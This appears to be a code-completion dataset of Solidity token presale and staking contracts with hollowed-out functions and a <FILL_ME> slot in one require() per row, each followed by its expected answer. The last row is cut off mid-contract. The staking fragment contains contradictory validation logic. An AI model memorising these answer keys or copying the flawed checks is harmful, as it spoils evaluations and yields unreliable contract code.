function getStaking(address walletAddress) public view returns(address,uint,uint256,uint256,uint256,uint256,bool) {
}
/*
Get contract address
*/
function getContractAddress() public view returns (address) {
}
/*
Provide users to insert coin to Contract pools
*/
function transferToContract(uint coin) public returns(string memory){
calMainLogic();
if(coin <= 1000000000000000000000) {
require(coin <= 1000000000000000000000,"Number must be greater than 1000.");
return "Number must be greater than 1000.";
}
if(isStakingExists(msg.sender)) {
require(<FILL_ME>)
return "Staking user already exists.";
}
if(now > BUY_EXPIRE_DATE) {
require(now > BUY_EXPIRE_DATE,"Purchase time has passed.");
return "Purchase time has passed.";
}
ERC20(erc20TokenAddress).transferFrom(msg.sender, address(this), coin);
stakingArray.push(msg.sender);
Staking memory newStaking = Staking({
stakingAddress: msg.sender,
coin: coin,
startDatetime: now,
expireDatetime: now + DAY_NUM * LIMIT_DAY,
sum:0,
officialBonus:0,
isEnd:false
});
stakingMap[msg.sender] = newStaking;
return "Success";
}
/*
* Check address is Exists in contract
*/
function isStakingExists(address walletAddress) public view returns (bool) {
}
/*
Invoke Staking bonus when no user insert coins.
*/
function calMainLogic() public {
}
/*
* Get All element for statking memory
*/
function getAll() public view returns(Staking[] memory) {
}
/*
* Official recycle coin mechanism
*/
function recycleCoin() public {
}
//This function for decimal set 0
function getDecimalsZero() public view returns (uint) {
}
/*
Get Now TimeZone.
*/
function getNow() public view returns(uint) {
}
function getAddressList() public view returns(address[] memory) {
}
}
| isStakingExists(msg.sender),"Staking user already exists." | 296,678 | isStakingExists(msg.sender) |
"Presale already started!" | // SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
contract LaunchPadBrightUnionEth is Ownable {
using SafeMath for uint256;
// 4 rounds : 0 = not open, 1 = guaranty round, 2 = First come first serve, 3 = sale finished
uint256 public round1BeganAt;
uint256 public claimUnlockedTimestamp; // init timestamp of claim begins
function roundNumber() external view returns (uint256) {
}
function _roundNumber() internal view returns (uint256) {
}
function setRound1Timestamp(uint256 _round1BeginAt) external onlyOwner {
}
function setClaimableTimestamp(uint256 _claimUnlockedTimestamp)
external
onlyOwner
{
}
uint256 constant round1Duration = 600; // in secondes 3600 = 1h
// Add from LaunchPad initial contract
uint256 public firstVestingUnlockTimestamp;
uint256 public secondVestingUnlockTimestamp;
//uint256 public thirdVestingUnlockTimestamp;
// Add from LaunchPad initial contract
mapping(address => bool) _initialClaimDone;
mapping(address => uint256) _firstVestingAmount;
mapping(address => uint256) _secondVestingAmount;
//mapping(address => uint256) _thirdVestingAmount;
IERC20 public immutable token;
constructor(IERC20 _token) {
}
mapping(address => bool) public isWhitelisted; // used for front end when user have claim and used his allowances
mapping(address => uint256) public round1Allowance;
mapping(address => uint256) public round2Allowance;
uint256 public tokenTarget;
uint256 public weiTarget;
uint256 public multiplier;
bool public endUnlocked;
uint256 public totalOwed;
mapping(address => uint256) public claimable;
mapping(address => uint256) public claimed;
uint256 public weiRaised;
uint256 public participants;
event StartSale(uint256 startTimestamp);
event EndUnlockedEvent(uint256 endTimestamp);
event ClaimUnlockedEvent(uint256 claimTimestamp);
event RoundChange(uint256 roundNumber);
function initSale(uint256 _tokenTarget, uint256 _weiTarget)
external
onlyOwner
{
}
// Add from LaunchPad initial contract
// initiate vesting timestamp
function initVestingsTimestamp(uint256 _first, uint256 _second)
external
onlyOwner
{
}
function getRound1Duration() external view returns (uint256) {
}
function claimUnlocked() external view returns (bool) {
}
function _claimUnlocked() internal view returns (bool) {
}
function setTokenTarget(uint256 _tokenTarget) external onlyOwner {
require(<FILL_ME>)
tokenTarget = _tokenTarget;
multiplier = tokenTarget.div(weiTarget);
}
function setStableTarget(uint256 _weiTarget) external onlyOwner {
}
function startSale() external onlyOwner {
}
function finishSale() external onlyOwner {
}
function addWhitelistedAddress(address _address, uint256 _allocation)
external
onlyOwner
{
}
function addMultipleWhitelistedAddressesMultiplier4(
address[] calldata _addresses,
uint256[] calldata _allocations
) external onlyOwner {
}
function addMultipleWhitelistedAddressesMultiplier1(
address[] calldata _addresses,
uint256[] calldata _allocations
) external onlyOwner {
}
// Add from LaunchPad initial contract
// add allocations for round 2
// This function can update an existing allocation
function addMultipleWhitelistedAddressesForRound2(
address[] calldata _addresses,
uint256[] calldata _allocations
) external onlyOwner {
}
function removeWhitelistedAddress(address _address) external onlyOwner {
}
function withdrawWei(uint256 _amount) external onlyOwner {
}
//update from original contract
function claimableAmount(address user) external view returns (uint256) {
}
// Add from LaunchPad initial contract
function remainToClaim(address user) external view returns (uint256) {
}
function withdrawToken() external onlyOwner returns (bool) {
}
// function update from initial Smart contract
//
function claim() external returns (bool) {
}
function buyRound1() public payable {
}
function buyRound2() public payable {
}
fallback() external payable {
}
receive() external payable {
}
}
| _roundNumber()==0,"Presale already started!" | 296,680 | _roundNumber()==0 |
"Presale already ended!" | // SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
contract LaunchPadBrightUnionEth is Ownable {
using SafeMath for uint256;
// 4 rounds : 0 = not open, 1 = guaranty round, 2 = First come first serve, 3 = sale finished
uint256 public round1BeganAt;
uint256 public claimUnlockedTimestamp; // init timestamp of claim begins
function roundNumber() external view returns (uint256) {
}
function _roundNumber() internal view returns (uint256) {
}
function setRound1Timestamp(uint256 _round1BeginAt) external onlyOwner {
}
function setClaimableTimestamp(uint256 _claimUnlockedTimestamp)
external
onlyOwner
{
}
uint256 constant round1Duration = 600; // in secondes 3600 = 1h
// Add from LaunchPad initial contract
uint256 public firstVestingUnlockTimestamp;
uint256 public secondVestingUnlockTimestamp;
//uint256 public thirdVestingUnlockTimestamp;
// Add from LaunchPad initial contract
mapping(address => bool) _initialClaimDone;
mapping(address => uint256) _firstVestingAmount;
mapping(address => uint256) _secondVestingAmount;
//mapping(address => uint256) _thirdVestingAmount;
IERC20 public immutable token;
constructor(IERC20 _token) {
}
mapping(address => bool) public isWhitelisted; // used for front end when user have claim and used his allowances
mapping(address => uint256) public round1Allowance;
mapping(address => uint256) public round2Allowance;
uint256 public tokenTarget;
uint256 public weiTarget;
uint256 public multiplier;
bool public endUnlocked;
uint256 public totalOwed;
mapping(address => uint256) public claimable;
mapping(address => uint256) public claimed;
uint256 public weiRaised;
uint256 public participants;
event StartSale(uint256 startTimestamp);
event EndUnlockedEvent(uint256 endTimestamp);
event ClaimUnlockedEvent(uint256 claimTimestamp);
event RoundChange(uint256 roundNumber);
function initSale(uint256 _tokenTarget, uint256 _weiTarget)
external
onlyOwner
{
}
// Add from LaunchPad initial contract
// initiate vesting timestamp
function initVestingsTimestamp(uint256 _first, uint256 _second)
external
onlyOwner
{
}
function getRound1Duration() external view returns (uint256) {
}
function claimUnlocked() external view returns (bool) {
}
function _claimUnlocked() internal view returns (bool) {
}
function setTokenTarget(uint256 _tokenTarget) external onlyOwner {
}
function setStableTarget(uint256 _weiTarget) external onlyOwner {
}
function startSale() external onlyOwner {
}
function finishSale() external onlyOwner {
require(<FILL_ME>)
endUnlocked = true;
emit EndUnlockedEvent(block.timestamp);
}
function addWhitelistedAddress(address _address, uint256 _allocation)
external
onlyOwner
{
}
function addMultipleWhitelistedAddressesMultiplier4(
address[] calldata _addresses,
uint256[] calldata _allocations
) external onlyOwner {
}
function addMultipleWhitelistedAddressesMultiplier1(
address[] calldata _addresses,
uint256[] calldata _allocations
) external onlyOwner {
}
// Add from LaunchPad initial contract
// add allocations for round 2
// This function can update an existing allocation
function addMultipleWhitelistedAddressesForRound2(
address[] calldata _addresses,
uint256[] calldata _allocations
) external onlyOwner {
}
function removeWhitelistedAddress(address _address) external onlyOwner {
}
function withdrawWei(uint256 _amount) external onlyOwner {
}
//update from original contract
function claimableAmount(address user) external view returns (uint256) {
}
// Add from LaunchPad initial contract
function remainToClaim(address user) external view returns (uint256) {
}
function withdrawToken() external onlyOwner returns (bool) {
}
// function update from initial Smart contract
//
function claim() external returns (bool) {
}
function buyRound1() public payable {
}
function buyRound2() public payable {
}
fallback() external payable {
}
receive() external payable {
}
}
| !endUnlocked,"Presale already ended!" | 296,680 | !endUnlocked |
"claiming not allowed yet" | // SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
contract LaunchPadBrightUnionEth is Ownable {
using SafeMath for uint256;
// 4 rounds : 0 = not open, 1 = guaranty round, 2 = First come first serve, 3 = sale finished
uint256 public round1BeganAt;
uint256 public claimUnlockedTimestamp; // init timestamp of claim begins
function roundNumber() external view returns (uint256) {
}
function _roundNumber() internal view returns (uint256) {
}
function setRound1Timestamp(uint256 _round1BeginAt) external onlyOwner {
}
function setClaimableTimestamp(uint256 _claimUnlockedTimestamp)
external
onlyOwner
{
}
uint256 constant round1Duration = 600; // in secondes 3600 = 1h
// Add from LaunchPad initial contract
uint256 public firstVestingUnlockTimestamp;
uint256 public secondVestingUnlockTimestamp;
//uint256 public thirdVestingUnlockTimestamp;
// Add from LaunchPad initial contract
mapping(address => bool) _initialClaimDone;
mapping(address => uint256) _firstVestingAmount;
mapping(address => uint256) _secondVestingAmount;
//mapping(address => uint256) _thirdVestingAmount;
IERC20 public immutable token;
constructor(IERC20 _token) {
}
mapping(address => bool) public isWhitelisted; // used for front end when user have claim and used his allowances
mapping(address => uint256) public round1Allowance;
mapping(address => uint256) public round2Allowance;
uint256 public tokenTarget;
uint256 public weiTarget;
uint256 public multiplier;
bool public endUnlocked;
uint256 public totalOwed;
mapping(address => uint256) public claimable;
mapping(address => uint256) public claimed;
uint256 public weiRaised;
uint256 public participants;
event StartSale(uint256 startTimestamp);
event EndUnlockedEvent(uint256 endTimestamp);
event ClaimUnlockedEvent(uint256 claimTimestamp);
event RoundChange(uint256 roundNumber);
function initSale(uint256 _tokenTarget, uint256 _weiTarget)
external
onlyOwner
{
}
// Add from LaunchPad initial contract
// initiate vesting timestamp
function initVestingsTimestamp(uint256 _first, uint256 _second)
external
onlyOwner
{
}
function getRound1Duration() external view returns (uint256) {
}
function claimUnlocked() external view returns (bool) {
}
function _claimUnlocked() internal view returns (bool) {
}
function setTokenTarget(uint256 _tokenTarget) external onlyOwner {
}
function setStableTarget(uint256 _weiTarget) external onlyOwner {
}
function startSale() external onlyOwner {
}
function finishSale() external onlyOwner {
}
function addWhitelistedAddress(address _address, uint256 _allocation)
external
onlyOwner
{
}
function addMultipleWhitelistedAddressesMultiplier4(
address[] calldata _addresses,
uint256[] calldata _allocations
) external onlyOwner {
}
function addMultipleWhitelistedAddressesMultiplier1(
address[] calldata _addresses,
uint256[] calldata _allocations
) external onlyOwner {
}
// Add from LaunchPad initial contract
// add allocations for round 2
// This function can update an existing allocation
function addMultipleWhitelistedAddressesForRound2(
address[] calldata _addresses,
uint256[] calldata _allocations
) external onlyOwner {
}
function removeWhitelistedAddress(address _address) external onlyOwner {
}
function withdrawWei(uint256 _amount) external onlyOwner {
}
//update from original contract
function claimableAmount(address user) external view returns (uint256) {
}
// Add from LaunchPad initial contract
function remainToClaim(address user) external view returns (uint256) {
}
function withdrawToken() external onlyOwner returns (bool) {
}
// function update from initial Smart contract
//
function claim() external returns (bool) {
require(<FILL_ME>)
if (!_initialClaimDone[msg.sender]) {
require(claimable[msg.sender] > 0, "nothing to claim");
} else {
require(
(_firstVestingAmount[msg.sender] > 0 &&
block.timestamp >= firstVestingUnlockTimestamp) ||
(_secondVestingAmount[msg.sender] > 0 &&
block.timestamp >= secondVestingUnlockTimestamp),
// ||
// (_thirdVestingAmount[msg.sender] > 0 &&
// block.timestamp >= thirdVestingUnlockTimestamp)
// ,
"nothing to claim for the moment"
);
}
uint256 amount;
if (!_initialClaimDone[msg.sender]) {
_initialClaimDone[msg.sender] = true;
uint256 _toClaim = claimable[msg.sender].mul(multiplier);
claimable[msg.sender] = 0;
amount = _toClaim.mul(3000).div(10000);
_toClaim = _toClaim.sub(amount);
_firstVestingAmount[msg.sender] = _toClaim.div(2);
_secondVestingAmount[msg.sender] = _toClaim.div(2);
//_thirdVestingAmount[msg.sender] = _toClaim.div(4);
} else if (
_firstVestingAmount[msg.sender] > 0 &&
block.timestamp >= firstVestingUnlockTimestamp
) {
amount = _firstVestingAmount[msg.sender];
_firstVestingAmount[msg.sender] = 0;
} else if (
_secondVestingAmount[msg.sender] > 0 &&
block.timestamp >= secondVestingUnlockTimestamp
) {
amount = _secondVestingAmount[msg.sender];
_secondVestingAmount[msg.sender] = 0;
}
// else if (
// _thirdVestingAmount[msg.sender] > 0 &&
// block.timestamp >= thirdVestingUnlockTimestamp
// ) {
// amount = _thirdVestingAmount[msg.sender];
// _thirdVestingAmount[msg.sender] = 0;
// }
claimed[msg.sender] = claimed[msg.sender].add(amount);
totalOwed = totalOwed.sub(amount);
return token.transfer(msg.sender, amount);
}
function buyRound1() public payable {
}
function buyRound2() public payable {
}
fallback() external payable {
}
receive() external payable {
}
}
| _claimUnlocked(),"claiming not allowed yet" | 296,680 | _claimUnlocked() |
"nothing to claim" | // SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
contract LaunchPadBrightUnionEth is Ownable {
using SafeMath for uint256;
// 4 rounds : 0 = not open, 1 = guaranty round, 2 = First come first serve, 3 = sale finished
uint256 public round1BeganAt;
uint256 public claimUnlockedTimestamp; // init timestamp of claim begins
function roundNumber() external view returns (uint256) {
}
function _roundNumber() internal view returns (uint256) {
}
function setRound1Timestamp(uint256 _round1BeginAt) external onlyOwner {
}
function setClaimableTimestamp(uint256 _claimUnlockedTimestamp)
external
onlyOwner
{
}
uint256 constant round1Duration = 600; // in secondes 3600 = 1h
// Add from LaunchPad initial contract
uint256 public firstVestingUnlockTimestamp;
uint256 public secondVestingUnlockTimestamp;
//uint256 public thirdVestingUnlockTimestamp;
// Add from LaunchPad initial contract
mapping(address => bool) _initialClaimDone;
mapping(address => uint256) _firstVestingAmount;
mapping(address => uint256) _secondVestingAmount;
//mapping(address => uint256) _thirdVestingAmount;
IERC20 public immutable token;
constructor(IERC20 _token) {
}
mapping(address => bool) public isWhitelisted; // used for front end when user have claim and used his allowances
mapping(address => uint256) public round1Allowance;
mapping(address => uint256) public round2Allowance;
uint256 public tokenTarget;
uint256 public weiTarget;
uint256 public multiplier;
bool public endUnlocked;
uint256 public totalOwed;
mapping(address => uint256) public claimable;
mapping(address => uint256) public claimed;
uint256 public weiRaised;
uint256 public participants;
event StartSale(uint256 startTimestamp);
event EndUnlockedEvent(uint256 endTimestamp);
event ClaimUnlockedEvent(uint256 claimTimestamp);
event RoundChange(uint256 roundNumber);
function initSale(uint256 _tokenTarget, uint256 _weiTarget)
external
onlyOwner
{
}
// Add from LaunchPad initial contract
// initiate vesting timestamp
function initVestingsTimestamp(uint256 _first, uint256 _second)
external
onlyOwner
{
}
function getRound1Duration() external view returns (uint256) {
}
function claimUnlocked() external view returns (bool) {
}
function _claimUnlocked() internal view returns (bool) {
}
function setTokenTarget(uint256 _tokenTarget) external onlyOwner {
}
function setStableTarget(uint256 _weiTarget) external onlyOwner {
}
function startSale() external onlyOwner {
}
function finishSale() external onlyOwner {
}
function addWhitelistedAddress(address _address, uint256 _allocation)
external
onlyOwner
{
}
function addMultipleWhitelistedAddressesMultiplier4(
address[] calldata _addresses,
uint256[] calldata _allocations
) external onlyOwner {
}
function addMultipleWhitelistedAddressesMultiplier1(
address[] calldata _addresses,
uint256[] calldata _allocations
) external onlyOwner {
}
// Add from LaunchPad initial contract
// add allocations for round 2
// This function can update an existing allocation
function addMultipleWhitelistedAddressesForRound2(
address[] calldata _addresses,
uint256[] calldata _allocations
) external onlyOwner {
}
function removeWhitelistedAddress(address _address) external onlyOwner {
}
function withdrawWei(uint256 _amount) external onlyOwner {
}
//update from original contract
function claimableAmount(address user) external view returns (uint256) {
}
// Add from LaunchPad initial contract
function remainToClaim(address user) external view returns (uint256) {
}
function withdrawToken() external onlyOwner returns (bool) {
}
// function update from initial Smart contract
//
function claim() external returns (bool) {
require(_claimUnlocked(), "claiming not allowed yet");
if (!_initialClaimDone[msg.sender]) {
require(<FILL_ME>)
} else {
require(
(_firstVestingAmount[msg.sender] > 0 &&
block.timestamp >= firstVestingUnlockTimestamp) ||
(_secondVestingAmount[msg.sender] > 0 &&
block.timestamp >= secondVestingUnlockTimestamp),
// ||
// (_thirdVestingAmount[msg.sender] > 0 &&
// block.timestamp >= thirdVestingUnlockTimestamp)
// ,
"nothing to claim for the moment"
);
}
uint256 amount;
if (!_initialClaimDone[msg.sender]) {
_initialClaimDone[msg.sender] = true;
uint256 _toClaim = claimable[msg.sender].mul(multiplier);
claimable[msg.sender] = 0;
amount = _toClaim.mul(3000).div(10000);
_toClaim = _toClaim.sub(amount);
_firstVestingAmount[msg.sender] = _toClaim.div(2);
_secondVestingAmount[msg.sender] = _toClaim.div(2);
//_thirdVestingAmount[msg.sender] = _toClaim.div(4);
} else if (
_firstVestingAmount[msg.sender] > 0 &&
block.timestamp >= firstVestingUnlockTimestamp
) {
amount = _firstVestingAmount[msg.sender];
_firstVestingAmount[msg.sender] = 0;
} else if (
_secondVestingAmount[msg.sender] > 0 &&
block.timestamp >= secondVestingUnlockTimestamp
) {
amount = _secondVestingAmount[msg.sender];
_secondVestingAmount[msg.sender] = 0;
}
// else if (
// _thirdVestingAmount[msg.sender] > 0 &&
// block.timestamp >= thirdVestingUnlockTimestamp
// ) {
// amount = _thirdVestingAmount[msg.sender];
// _thirdVestingAmount[msg.sender] = 0;
// }
claimed[msg.sender] = claimed[msg.sender].add(amount);
totalOwed = totalOwed.sub(amount);
return token.transfer(msg.sender, amount);
}
function buyRound1() public payable {
}
function buyRound2() public payable {
}
fallback() external payable {
}
receive() external payable {
}
}
| claimable[msg.sender]>0,"nothing to claim" | 296,680 | claimable[msg.sender]>0 |
"nothing to claim for the moment" | // SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
contract LaunchPadBrightUnionEth is Ownable {
using SafeMath for uint256;
// 4 rounds : 0 = not open, 1 = guaranty round, 2 = First come first serve, 3 = sale finished
uint256 public round1BeganAt;
uint256 public claimUnlockedTimestamp; // init timestamp of claim begins
function roundNumber() external view returns (uint256) {
}
function _roundNumber() internal view returns (uint256) {
}
function setRound1Timestamp(uint256 _round1BeginAt) external onlyOwner {
}
function setClaimableTimestamp(uint256 _claimUnlockedTimestamp)
external
onlyOwner
{
}
uint256 constant round1Duration = 600; // in secondes 3600 = 1h
// Add from LaunchPad initial contract
uint256 public firstVestingUnlockTimestamp;
uint256 public secondVestingUnlockTimestamp;
//uint256 public thirdVestingUnlockTimestamp;
// Add from LaunchPad initial contract
mapping(address => bool) _initialClaimDone;
mapping(address => uint256) _firstVestingAmount;
mapping(address => uint256) _secondVestingAmount;
//mapping(address => uint256) _thirdVestingAmount;
IERC20 public immutable token;
constructor(IERC20 _token) {
}
mapping(address => bool) public isWhitelisted; // used for front end when user have claim and used his allowances
mapping(address => uint256) public round1Allowance;
mapping(address => uint256) public round2Allowance;
uint256 public tokenTarget;
uint256 public weiTarget;
uint256 public multiplier;
bool public endUnlocked;
uint256 public totalOwed;
mapping(address => uint256) public claimable;
mapping(address => uint256) public claimed;
uint256 public weiRaised;
uint256 public participants;
event StartSale(uint256 startTimestamp);
event EndUnlockedEvent(uint256 endTimestamp);
event ClaimUnlockedEvent(uint256 claimTimestamp);
event RoundChange(uint256 roundNumber);
function initSale(uint256 _tokenTarget, uint256 _weiTarget)
external
onlyOwner
{
}
// Add from LaunchPad initial contract
// initiate vesting timestamp
function initVestingsTimestamp(uint256 _first, uint256 _second)
external
onlyOwner
{
}
function getRound1Duration() external view returns (uint256) {
}
function claimUnlocked() external view returns (bool) {
}
function _claimUnlocked() internal view returns (bool) {
}
function setTokenTarget(uint256 _tokenTarget) external onlyOwner {
}
function setStableTarget(uint256 _weiTarget) external onlyOwner {
}
function startSale() external onlyOwner {
}
function finishSale() external onlyOwner {
}
function addWhitelistedAddress(address _address, uint256 _allocation)
external
onlyOwner
{
}
function addMultipleWhitelistedAddressesMultiplier4(
address[] calldata _addresses,
uint256[] calldata _allocations
) external onlyOwner {
}
function addMultipleWhitelistedAddressesMultiplier1(
address[] calldata _addresses,
uint256[] calldata _allocations
) external onlyOwner {
}
// Add from LaunchPad initial contract
// add allocations for round 2
// This function can update an existing allocation
function addMultipleWhitelistedAddressesForRound2(
address[] calldata _addresses,
uint256[] calldata _allocations
) external onlyOwner {
}
function removeWhitelistedAddress(address _address) external onlyOwner {
}
function withdrawWei(uint256 _amount) external onlyOwner {
}
//update from original contract
function claimableAmount(address user) external view returns (uint256) {
}
// Add from LaunchPad initial contract
function remainToClaim(address user) external view returns (uint256) {
}
function withdrawToken() external onlyOwner returns (bool) {
}
// function update from initial Smart contract
//
function claim() external returns (bool) {
require(_claimUnlocked(), "claiming not allowed yet");
if (!_initialClaimDone[msg.sender]) {
require(claimable[msg.sender] > 0, "nothing to claim");
} else {
require(<FILL_ME>)
}
uint256 amount;
if (!_initialClaimDone[msg.sender]) {
_initialClaimDone[msg.sender] = true;
uint256 _toClaim = claimable[msg.sender].mul(multiplier);
claimable[msg.sender] = 0;
amount = _toClaim.mul(3000).div(10000);
_toClaim = _toClaim.sub(amount);
_firstVestingAmount[msg.sender] = _toClaim.div(2);
_secondVestingAmount[msg.sender] = _toClaim.div(2);
//_thirdVestingAmount[msg.sender] = _toClaim.div(4);
} else if (
_firstVestingAmount[msg.sender] > 0 &&
block.timestamp >= firstVestingUnlockTimestamp
) {
amount = _firstVestingAmount[msg.sender];
_firstVestingAmount[msg.sender] = 0;
} else if (
_secondVestingAmount[msg.sender] > 0 &&
block.timestamp >= secondVestingUnlockTimestamp
) {
amount = _secondVestingAmount[msg.sender];
_secondVestingAmount[msg.sender] = 0;
}
// else if (
// _thirdVestingAmount[msg.sender] > 0 &&
// block.timestamp >= thirdVestingUnlockTimestamp
// ) {
// amount = _thirdVestingAmount[msg.sender];
// _thirdVestingAmount[msg.sender] = 0;
// }
claimed[msg.sender] = claimed[msg.sender].add(amount);
totalOwed = totalOwed.sub(amount);
return token.transfer(msg.sender, amount);
}
function buyRound1() public payable {
}
function buyRound2() public payable {
}
fallback() external payable {
}
receive() external payable {
}
}
| (_firstVestingAmount[msg.sender]>0&&block.timestamp>=firstVestingUnlockTimestamp)||(_secondVestingAmount[msg.sender]>0&&block.timestamp>=secondVestingUnlockTimestamp),"nothing to claim for the moment" | 296,680 | (_firstVestingAmount[msg.sender]>0&&block.timestamp>=firstVestingUnlockTimestamp)||(_secondVestingAmount[msg.sender]>0&&block.timestamp>=secondVestingUnlockTimestamp) |
"presale isn't on good round" | // SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
contract LaunchPadBrightUnionEth is Ownable {
using SafeMath for uint256;
// 4 rounds : 0 = not open, 1 = guaranty round, 2 = First come first serve, 3 = sale finished
uint256 public round1BeganAt;
uint256 public claimUnlockedTimestamp; // init timestamp of claim begins
function roundNumber() external view returns (uint256) {
}
function _roundNumber() internal view returns (uint256) {
}
function setRound1Timestamp(uint256 _round1BeginAt) external onlyOwner {
}
function setClaimableTimestamp(uint256 _claimUnlockedTimestamp)
external
onlyOwner
{
}
uint256 constant round1Duration = 600; // in secondes 3600 = 1h
// Add from LaunchPad initial contract
uint256 public firstVestingUnlockTimestamp;
uint256 public secondVestingUnlockTimestamp;
//uint256 public thirdVestingUnlockTimestamp;
// Add from LaunchPad initial contract
mapping(address => bool) _initialClaimDone;
mapping(address => uint256) _firstVestingAmount;
mapping(address => uint256) _secondVestingAmount;
//mapping(address => uint256) _thirdVestingAmount;
IERC20 public immutable token;
constructor(IERC20 _token) {
}
mapping(address => bool) public isWhitelisted; // used for front end when user have claim and used his allowances
mapping(address => uint256) public round1Allowance;
mapping(address => uint256) public round2Allowance;
uint256 public tokenTarget;
uint256 public weiTarget;
uint256 public multiplier;
bool public endUnlocked;
uint256 public totalOwed;
mapping(address => uint256) public claimable;
mapping(address => uint256) public claimed;
uint256 public weiRaised;
uint256 public participants;
event StartSale(uint256 startTimestamp);
event EndUnlockedEvent(uint256 endTimestamp);
event ClaimUnlockedEvent(uint256 claimTimestamp);
event RoundChange(uint256 roundNumber);
function initSale(uint256 _tokenTarget, uint256 _weiTarget)
external
onlyOwner
{
}
// Add from LaunchPad initial contract
// initiate vesting timestamp
function initVestingsTimestamp(uint256 _first, uint256 _second)
external
onlyOwner
{
}
function getRound1Duration() external view returns (uint256) {
}
function claimUnlocked() external view returns (bool) {
}
function _claimUnlocked() internal view returns (bool) {
}
function setTokenTarget(uint256 _tokenTarget) external onlyOwner {
}
function setStableTarget(uint256 _weiTarget) external onlyOwner {
}
function startSale() external onlyOwner {
}
function finishSale() external onlyOwner {
}
function addWhitelistedAddress(address _address, uint256 _allocation)
external
onlyOwner
{
}
function addMultipleWhitelistedAddressesMultiplier4(
address[] calldata _addresses,
uint256[] calldata _allocations
) external onlyOwner {
}
function addMultipleWhitelistedAddressesMultiplier1(
address[] calldata _addresses,
uint256[] calldata _allocations
) external onlyOwner {
}
// Add from LaunchPad initial contract
// add allocations for round 2
// This function can update an existing allocation
function addMultipleWhitelistedAddressesForRound2(
address[] calldata _addresses,
uint256[] calldata _allocations
) external onlyOwner {
}
function removeWhitelistedAddress(address _address) external onlyOwner {
}
function withdrawWei(uint256 _amount) external onlyOwner {
}
//update from original contract
function claimableAmount(address user) external view returns (uint256) {
}
// Add from LaunchPad initial contract
function remainToClaim(address user) external view returns (uint256) {
}
function withdrawToken() external onlyOwner returns (bool) {
}
// function update from initial Smart contract
//
function claim() external returns (bool) {
}
function buyRound1() public payable {
require(<FILL_ME>)
require(msg.value > 0, "amount too low");
require(weiRaised.add(msg.value) <= weiTarget, "Target already hit");
require(
round1Allowance[msg.sender] >= msg.value,
"Amount too high or not white listed"
);
uint256 amount = msg.value.mul(multiplier);
require(
totalOwed.add(amount) <= token.balanceOf(address(this)),
"sold out"
);
round1Allowance[msg.sender] = round1Allowance[msg.sender].sub(
msg.value,
"Maximum purchase cap hit"
);
if (claimable[msg.sender] == 0) participants = participants.add(1);
claimable[msg.sender] = claimable[msg.sender].add(msg.value);
totalOwed = totalOwed.add(amount);
weiRaised = weiRaised.add(msg.value);
}
function buyRound2() public payable {
}
fallback() external payable {
}
receive() external payable {
}
}
| _roundNumber()==1,"presale isn't on good round" | 296,680 | _roundNumber()==1 |
"Target already hit" | // SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
contract LaunchPadBrightUnionEth is Ownable {
using SafeMath for uint256;
// 4 rounds : 0 = not open, 1 = guaranty round, 2 = First come first serve, 3 = sale finished
uint256 public round1BeganAt;
uint256 public claimUnlockedTimestamp; // init timestamp of claim begins
function roundNumber() external view returns (uint256) {
}
function _roundNumber() internal view returns (uint256) {
}
function setRound1Timestamp(uint256 _round1BeginAt) external onlyOwner {
}
function setClaimableTimestamp(uint256 _claimUnlockedTimestamp)
external
onlyOwner
{
}
uint256 constant round1Duration = 600; // in secondes 3600 = 1h
// Add from LaunchPad initial contract
uint256 public firstVestingUnlockTimestamp;
uint256 public secondVestingUnlockTimestamp;
//uint256 public thirdVestingUnlockTimestamp;
// Add from LaunchPad initial contract
mapping(address => bool) _initialClaimDone;
mapping(address => uint256) _firstVestingAmount;
mapping(address => uint256) _secondVestingAmount;
//mapping(address => uint256) _thirdVestingAmount;
IERC20 public immutable token;
constructor(IERC20 _token) {
}
mapping(address => bool) public isWhitelisted; // used for front end when user have claim and used his allowances
mapping(address => uint256) public round1Allowance;
mapping(address => uint256) public round2Allowance;
uint256 public tokenTarget;
uint256 public weiTarget;
uint256 public multiplier;
bool public endUnlocked;
uint256 public totalOwed;
mapping(address => uint256) public claimable;
mapping(address => uint256) public claimed;
uint256 public weiRaised;
uint256 public participants;
event StartSale(uint256 startTimestamp);
event EndUnlockedEvent(uint256 endTimestamp);
event ClaimUnlockedEvent(uint256 claimTimestamp);
event RoundChange(uint256 roundNumber);
function initSale(uint256 _tokenTarget, uint256 _weiTarget)
external
onlyOwner
{
}
// Add from LaunchPad initial contract
// initiate vesting timestamp
function initVestingsTimestamp(uint256 _first, uint256 _second)
external
onlyOwner
{
}
function getRound1Duration() external view returns (uint256) {
}
function claimUnlocked() external view returns (bool) {
}
function _claimUnlocked() internal view returns (bool) {
}
function setTokenTarget(uint256 _tokenTarget) external onlyOwner {
}
function setStableTarget(uint256 _weiTarget) external onlyOwner {
}
function startSale() external onlyOwner {
}
function finishSale() external onlyOwner {
}
function addWhitelistedAddress(address _address, uint256 _allocation)
external
onlyOwner
{
}
function addMultipleWhitelistedAddressesMultiplier4(
address[] calldata _addresses,
uint256[] calldata _allocations
) external onlyOwner {
}
function addMultipleWhitelistedAddressesMultiplier1(
address[] calldata _addresses,
uint256[] calldata _allocations
) external onlyOwner {
}
// Add from LaunchPad initial contract
// add allocations for round 2
